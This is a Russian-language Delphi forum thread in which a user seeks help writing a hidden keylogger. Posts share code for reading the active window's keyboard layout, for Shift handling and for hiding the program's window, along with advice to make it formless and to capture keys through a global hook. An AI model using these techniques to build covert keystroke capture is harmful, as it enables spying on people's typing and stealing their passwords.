Пятница, 29.03.2024, 14:05 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024  
delphicode » Delphi » Вопросы по Delphi » Простой KeyLogger. Помогите советом. (Отлов нажатых клавиш и запись их в лог-файл.)
Простой KeyLogger. Помогите советом.
Serz92LiДата: Четверг, 08.08.2013, 12:09 | Сообщение # 1
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
Всем привет. Вопрос заключается в написании KeyLogger'а. Будем конкретней и сразу к делу. Вопросы:
1. Как реализовать распознавание раскладки клавиатуры (имеется ввиду клавиша "S" это есть "Ы"), как сделать, чтобы в лог записывалась клавиша соответствующей раскладки.
2. Проблема с "Shift'ом". Это я реализовал, но к сожалению записывается в файл что-то типа: "Shift+,Q+,E+,R+;q,w,e,r,t,y". Как видите не порядок, хочется более человечное.
3. Помогите с поиском DLL, реализованных для этого. В Google не отправляйте, прежде чем задавать вопрос, искал подобное упорно, но подходящего не нашел, иначе бы не стал у Вас отнимать время на это.
4. Дайте направление поиска (Функции, компоненты, библиотеки и т.д.)
5. Заранее благодарен за помощь.


Сообщение отредактировал Serz92Li - Четверг, 08.08.2013, 12:11
 
SlashДата: Четверг, 08.08.2013, 17:55 | Сообщение # 2
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
Код
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then
   //раскладка английская
else
   //раскладка НЕанглийская, например 68748313 соответствует русской

P.S.В Взято с delphisources.ru

Проблему с шифтом я не понял, поподробнее.

Поиском каких dll? подгруженных в какой либо процесс? Поподробнее давай!
 
Serz92LiДата: Понедельник, 12.08.2013, 11:50 | Сообщение # 3
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
Цитата (Slash)
P.S.В Взято с delphisources.ru

Проблему с шифтом я не понял, поподробнее.

Поиском каких dll? подгруженных в какой либо процесс? Поподробнее давай!


1. С Shift'ом имелось ввиду регистр символов: "А-а, Б-б ...". Проверка на нажатие именно этой клавиши.
Код

function ShiftDown : Boolean;
var
State : TKeyboardState;
begin
GetKeyboardState(State);
Result := ((State[vk_Shift] and 128) <> 0);
end;

Возвращает true - нажата клавиша Shift, false - логично что не нажата и если первый случай то менял символ на "мелкий" аналог :
Код

function LoCase(ch: char): char;
begin
if (ch in ['A'..'Z', 'А'..'Я']) then
result := chr(ord(ch) + 32)
else
result := ch;
end;

2. Получение и установка текущей раскладки клавиатуры
Ниже представлены 5 функций для получения/установки раскладки клавиатуры в своем или активном в текущий момент времени приложении:
• function NameKeyboardLayout(layout : LongWord) : string; - Получает название раскладки из списка (для удобства сделал :)))
• function GetActiveKbdLayout : LongWord; - Получает раскладку в своей программе
• function GetActiveKbdLayoutWnd : LongWord; - Получает раскладку в активном окне
• procedure SetKbdLayout(kbLayout : LongWord); - Устанавливает раскладку в своей программе
• procedure SetLayoutActiveWnd(kbLayout : LongWord); - Устанавливает раскладку в активном окне
Исходный текст
{ **** UBPFD *********** by delphibase.endimus.ru ****
Зависимости: Windows, Messages
Автор: savva, savva@nm.ru , ICQ:126578975, Орел
Copyright: Сапронов Алексей (Savva)
Дата: 27 июня 2002 г.
**************************************************** }
Код

{типы описываем }
const
CNT_LAYOUT = 2; // количество известных раскладок
ENGLISH = $409;
RUSSIAN = $419;

TKbdValue : array [1..CNT_LAYOUT] of LongWord =
( ENGLISH,
RUSSIAN
);
TKbdDisplayNames : array [1..CNT_LAYOUT] of string =
('English',
'Русский'
);

{----- собственно сами процедури и функции -----}

{получаем название раскладки}
function NameKeyboardLayout(layout : LongWord) : string;
var
i: integer;
begin
Result:='';
try
for i:=1 to CNT_LAYOUT do
if TKbdValue[i]=layout then Result:= TKbdDisplayNames[i];
except
Result:='';
end;
end;
//**************** end of NameKeyboardLayot ***************************
{активная раскладка в своей программе}
function GetActiveKbdLayout : LongWord;
begin
result:= GetKeyboardLayout(0) shr $10;
end;
//***************** end of GetActiveKbdLayot ****************************
{активная раскладка в активном окне}
function GetActiveKbdLayoutWnd : LongWord;
var
hWindow,idProcess : THandle;
begin
// получить handle активного окна чужой программы
hWindow := GetForegroundWindow;
// Получить идентификатор чужого процесса
idProcess := GetWindowThreadProcessId(hWindow,nil);
// Получить текущую раскладку в чужой программе
Result:=(GetKeyboardLayout(idProcess) shr $10);
end;
//***************** end of GetActiveKbdLayotWnd **************************
{установить раскладку в своей программе}
procedure SetKbdLayout(kbLayout : LongWord);
var
Layout: HKL;
begin
// Получить ссылку на раскладку
Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0);
// Переключить раскладку на русскую
ActivateKeyboardLayout(Layout,KLF_ACTIVATE);
end;
//****************** end of SetKbdLayot **********************************
{установить раскладку в активном окне}
procedure SetLayoutActiveWnd(kbLayout : LongWord);
var
Layout: HKL;
hWindow{, idProcess} : THandle; // ION T: не используется
begin
// получить handle активного окна чужой программы
hWindow := GetForegroundWindow;
// Получить ссылку на раскладку
Layout:=LoadKeyboardLayout(PChar(IntToStr(kbLayout)), 0);
// посылаем сообщение о смене раскладки
sendMessage(hWindow,WM_INPUTLANGCHANGEREQUEST,1,Layout);
end;
//***************** end of SetLayoutActiveWnd *****************************

Пример использования
...
Код

{активная раскладка в активном окне}
Label1.Caption:= NameKeyboardLayout(GetActiveKbdLayoutWnd);
{активная раскладка в своей программе}
Label2.Caption:= NameKeyboardLayout(GetActiveKbdLayout);
{установить раскладку в своей программе}
SetKbdLayout(ENGLISH);
{установить раскладку в активном окне}
SetLayoutActiveWnd(ENGLISH);

...
3. Видел часто DLL типа " Hook " и т.д., но они заточены под определенную задачу, вот и спросил, что у кого-то завалялась такая штуковина.
Коды не мои разбирался и менял под себя, откуда брал источники не помню, автор не я к сожалению ). Автор последнего: Сапронов Алексей Может кому пригодиться.


Сообщение отредактировал Serz92Li - Понедельник, 12.08.2013, 23:39
 
Don_DiegoДата: Понедельник, 12.08.2013, 19:50 | Сообщение # 4
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Serz92Li, хорошая информация. Код можешь сделать в специальных тегах? code
 
Serz92LiДата: Понедельник, 12.08.2013, 23:46 | Сообщение # 5
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
Цитата (Don_Diego)
Serz92Li, хорошая информация. Код можешь сделать в специальных тегах? code

Ок. На будущее буду знать).

Добавлено (12.08.2013, 23:46)
---------------------------------------------
Отыскал еще интересную штучку. Для многих будет не новое, но кому может быть пригодится. Прячем наш "Loger":

Код

program Project1;

uses
Forms, windows, //обязательно добавь модуль windows
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin

Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=false; // Запрещаем показ главной формы
ShowWindow(application.Handle,SW_HIDE); // Прячем приложение
Application.Run

ЗАМЕЧАНИЕ: виден процесс в "Диспетчере задач".
 
Don_DiegoДата: Вторник, 13.08.2013, 21:43 | Сообщение # 6
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Serz92Li, последний код желательно никому не показывай smile
Хотя, для кейлоггера сойдет и с формой, особенно как для первой программы такого рода. Но на будущее делай примерно так:
После того как открыли Delphi, закрываем форму (жмем на крестик), идем в меню Project -> View Source, и там потом пишем свой код. Да, удаляем ресурсы (строку {$R *.res}), в Uses оставляем только Windows;. Да... Придется использовать Win API, либо же вырезать нужные функции и процедуры из других классов...
Но это все приходит с опытом, так сказать - развивайся в безформенном направлении smile
 
Serz92LiДата: Пятница, 16.08.2013, 11:25 | Сообщение # 7
Был не раз
Зарегистрирован: 08.04.2013
Группа: Пользователи
Сообщений: 20
Статус: Offline
Проблема возникла в "глобальном хуке". Как сделать, что захватывал ВСЕ клавиши хоть бы на латинице)? Хук делал, но воспринимает "0"-"9", "A"-"z", а вот с символами косяк, как реализовать?
 
delphicode » Delphi » Вопросы по Delphi » Простой KeyLogger. Помогите советом. (Отлов нажатых клавиш и запись их в лог-файл.)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz